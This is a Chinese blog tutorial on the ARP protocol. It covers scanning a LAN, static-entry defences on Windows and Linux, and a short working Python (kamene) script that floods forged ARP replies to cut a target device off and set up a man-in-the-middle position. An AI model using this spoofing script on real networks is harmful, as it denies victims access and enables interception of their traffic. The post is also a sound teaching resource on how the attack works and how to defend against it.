zoukankan      html  css  js  c++  java
  • Python实现ARP攻击

    概述

    高中的时候,学校有一个商店,会放开WIFI给偷偷带手机去学校的我们使用,但是因为人很多的关系,导致每次去下载东西都很慢

    那时候,通过百度,知道了WIFI KILLER 这样一款软件,可以让别人上不了网,不过随着各大厂商对系统的升级之后,这个软件就失效了,尤其是这个软件需要root权限,这个在现在多数手机来说已经不可能了。

    需要权限的原因就是需要发送原始套接字,但是这个套接字如果交给用户来发的话,太危险了,很容易扰乱底层的协议规则,这就导致必须要一定权限才能发送原始套接字(Windows好像不用)

    ARP协议

    IP转MAC

    参考: https://www.freebuf.com/articles/network/210852.html

    ARP 协议是用来从从IP地址查询MAC地址的,所以,一次数据传输可能有这样一个ARP沟通过程

    image-20200405104228129

    比如,这里我用我笔记本(192.168.2.2) Ping了一下我的手机(192.168.2.5) ,那么数据包就需要知道被发送到那个MAC地址,

    • 我的电脑大声问(广播): 谁是 192.168.2.5?请告诉 192.168.2.2
    • 然后我的手机看到了,就回复我的电脑: 192.168.2.5就是20:f4:78:e6:36:41

    然后接下来,数据包就可以发送大MAC地址是20:f4:78:e6:36:41的网卡上了

    今天我才发现,我平时高冷的不得了的磊科NW737其实和他的小伙伴们沟通的热火朝天~~
    													____底层协议居然如此热闹
    

    结构

    image-20200406152858791

    来自 wiki 百科

    ARP扫描

    通过wireShark可以发现,如果我想知道这个局域网中有多少主机,或者想要局域网中所有主机的列表,那么我完全可以发送ARP请求包,对每个IP都询问一下MAC地址,有回应的,就是存活的主机。

    这个方法比Ping扫描要稳一点,因为开了防火墙之后,很多电脑是不响应Ping包的

    开始欺骗

    只要了解了ARP之后,就会发现有空子可以钻,也就是说,当有主机在局域网广播询问MAC地址的时候,直接发送一个错误的响应就好了

    甚至,不需要他询问,直接发送响应包即可

    • 代码
    from kamene.all import *
    
    eth = Ether()
    arp = ARP(
        op="is-at",
        hwsrc = "22:22:22:22:22:22",
        psrc = "192.168.2.1",
        hwdst="20:F4:78:E6:36:41",
        pdst="192.168.2.7"
    )
    print((eth/arp).show())
    sendp(eth/arp,inter=2,loop=1)
    

    这里构造了一个ARP数据包

    image-20200406154228836

    运行之后可以看到,

    • 首先我的电脑会发送一个广播,询问,谁是192.168.2.7?请告诉192.168.2.2
    • 这时候,我的时候回192.168.2.7就是 20:F4:78:E6:36:41
    • 其实以上步骤不存在都行的,主要是下面部分
    • 在确定了2.7的MAC地址之后,大声的吼: 192.168.2.1的MAC地址是22:22:22:22:22:22
    • 2.7不管,直接接受了这个说法,之后所有的请求都发到了 22:22:22:22:22:22,那当然不会有响应的

    中间人

    如果把上面的 22:22:22:22:22:22修改成我笔记本的MAC地址,那么我的电脑就会收到如下大量的包

    image-20200406155309885

    如果我用手机此时打开一个网页 例如 39.106.164.33

    image-20200406155645752

    那么就能看到,数据包发给了我的电脑,目的MAC是我的电脑,但是因为我的电脑没有对数据包进行相关处理,结果就导致连接失败等等问题

    如果,我们能对这些包做出响应,那么就成了名副其实的中间人啦~

    其他

    ARP老化

    ARP表的老化时间

    ​ 不同的系统对ARP表的老化时间设定不太一样,在Windows2000/XP环境中,ARP表项的老化时间是2分钟,95/98以及NT环境下为10分钟,在大部分Cisco交换机中,该值是5分钟,华为的设备一般为20分钟……这些值可以通过系统注册表或设备的某些命令进行设置,具体设置的命令和参数请自行参考相关文档。

    ARP表老化时间定时器的重置

    ​ 满足以下任一条件时,设备的ARP表项的老化时间定时器会重置:
    1,设备相应的ARP表项更新时;
    2.,设备调用(引用)ARP表项转发数据后。

    来源: http://www.vants.org/?post=120

    防御

    windows

    管理员身份运行

    netsh -c "i i" add neighbors 16 "192.168.2.1" "08-10-79-5f-98-e9"
    

    16 是通过 arp -a命令得到的接口号(下图 0x10 十进制是16),192.168.2.1是IP地址,后面是mac

    image-20200406161803788

    具体参考: https://blog.csdn.net/weixin_42551781/article/details/88368031

    linux

    root权限运行

    arp -s 192.168.2.1 08-10-79-5f-98-e9
    

    具体参考: https://blog.csdn.net/qq_29663071/article/details/53508319

    准备开个新坑,用C++把当年手机上的wifi killer 实现出来,虽然已经有P2P终结者一类的软件了,但是拿来练习STL还是可以的

  • 相关阅读:
    跨境电商ERP中的自动化 5.平台订单自动打印面单
    小特工具箱新增功能:文档转换、代码转换和AI写诗词
    跨境电商ERP中的自动化 4.平台订单自动取运单号
    C#.NET 使用HttpWebRequest发送JSON
    .net core .net5 asp.net core mvc 与quartz.net 3.3.3 新版本调用方式
    .NET CORE .NET5 控制台程序使用EF连接MYSQL
    C#.NET 国密SM3withSM2签名与验签 和JAVA互通
    JAVA RSA 私钥签名 公钥验证签名 公钥验签
    java 读取控制台输入
    C#.NET RSA 私钥签名 公钥验证签名
  • 原文地址:https://www.cnblogs.com/cjdty/p/12642644.html
Copyright © 2011-2022 走看看